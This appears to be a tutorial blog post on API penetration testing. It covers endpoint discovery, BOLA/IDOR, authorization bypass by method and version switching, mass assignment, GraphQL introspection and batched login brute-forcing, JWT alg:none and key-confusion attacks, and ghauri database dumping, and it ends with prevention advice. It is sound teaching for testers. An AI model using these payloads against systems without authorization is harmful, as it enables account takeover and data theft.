APIs — especially REST and GraphQL — have become the backbone of modern web applications and are increasingly targeted by attackers. Unlike traditional web apps, APIs often lack the same level of security testing coverage. API-specific vulnerabilities like Broken Object Level Authorization (BOLA/IDOR), excessive data exposure, and mass assignment are routinely discovered in bug bounty programs and real-world penetration tests.
API Recon and Discovery
Before testing, enumerate all API endpoints:
# Discover API documentation
/api/docs
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
# JavaScript file mining (find API calls)
waybackurls https://target.com | grep api
gf api-keys file.js
# Content discovery with API wordlist
ffuf -u https://target.com/api/FUZZ -w /usr/share/wordlists/api-endpoints.txtBroken Object Level Authorization (BOLA/IDOR)
BOLA is the most critical API vulnerability (OWASP API Security Top 10 #1). It occurs when object IDs in API requests are not validated against the authenticated user:
# Legitimate request
GET /api/v1/users/1337/orders
Authorization: Bearer YOUR_TOKEN
# BOLA attack - access another user's orders
GET /api/v1/users/1338/orders
Authorization: Bearer YOUR_TOKENTest by: creating two accounts, capturing a request referencing your object ID, changing it to another user’s ID. If you receive their data, BOLA exists. Use Burp Intruder to iterate through numeric IDs, GUIDs, or usernames.
Broken Function Level Authorization
# Test HTTP method switching
GET /api/admin/users → 403 Forbidden
POST /api/admin/users → 200 OK (bypass!)
DELETE /api/admin/users/5 → try without admin token
# Test v1 vs v2
GET /api/v2/admin/users → 403
GET /api/v1/admin/users → 200 (old version unprotected)Excessive Data Exposure
APIs often return more data than needed, expecting clients to filter. Inspect raw API responses — not just what the UI displays — for sensitive fields like password hashes, internal IDs, PII, or admin flags:
GET /api/v1/users/me
# Response may include:
{"id":1337,"email":"user@example.com",
"password_hash":"$2b$10$...",
"is_admin":false,
"internal_notes":"...",
"api_key":"sk-..."}Mass Assignment
# Normal user creation
POST /api/v1/register
{"email":"user@test.com","password":"pass123"}
# Mass assignment attack - add extra fields
POST /api/v1/register
{"email":"user@test.com","password":"pass123",
"is_admin":true,"role":"admin","credits":99999}GraphQL-Specific Attacks
# Introspection query - enumerate entire schema
{__schema{types{name fields{name type{name}}}}}
# Batch query abuse (rate limit bypass)
[{"query":"mutation{login(user:'a',pass:'1')}"},{"query":"mutation{login(user:'a',pass:'2')}"}]
# Field suggestion (typo reveals valid fields)
{user{pasword}} # → 'Did you mean password?'
# Alias-based data extraction
{u1:user(id:1){email} u2:user(id:2){email}}JWT Testing
# Decode JWT (3 parts: header.payload.signature)
echo 'eyJ...' | base64 -d
# Algorithm confusion attack (alg:none)
# Change header alg to 'none', remove signature
{"alg":"none","typ":"JWT"}.{"sub":"1337","admin":true}.
# RS256 to HS256 confusion
# If server accepts HS256, sign with public key as HMAC secretTools for API Testing
# Postman - import OpenAPI spec, test collections
# Insomnia - REST and GraphQL testing
# Burp Suite extensions
# - InQL Scanner (GraphQL)
# - JWT Editor (token manipulation)
# - Autorize (auth bypass testing)
# CLI tools
python3 -m jwt_tool eyJ... -t https://target.com/api/v1/admin
ghauri --url https://target.com/api/users?id=1 --dbsPrevention
Implement proper authorization checks at every endpoint (not just authentication). Use allowlists for accepted request fields to prevent mass assignment. Return only necessary data — apply output filtering server-side. Disable GraphQL introspection in production. Use rate limiting per token/IP. Implement strong JWT validation: verify algorithm explicitly, check expiry, validate audience and issuer claims.
Conclusion
API security testing requires examining authorization at the object level (BOLA), testing HTTP method switching, reviewing raw API responses for data exposure, and testing GraphQL introspection and batching. Automated tools like Burp Suite’s InQL, Autorize, and JWT Editor significantly speed up API-focused assessments. The OWASP API Security Top 10 is the definitive reference for understanding and prioritizing API vulnerabilities.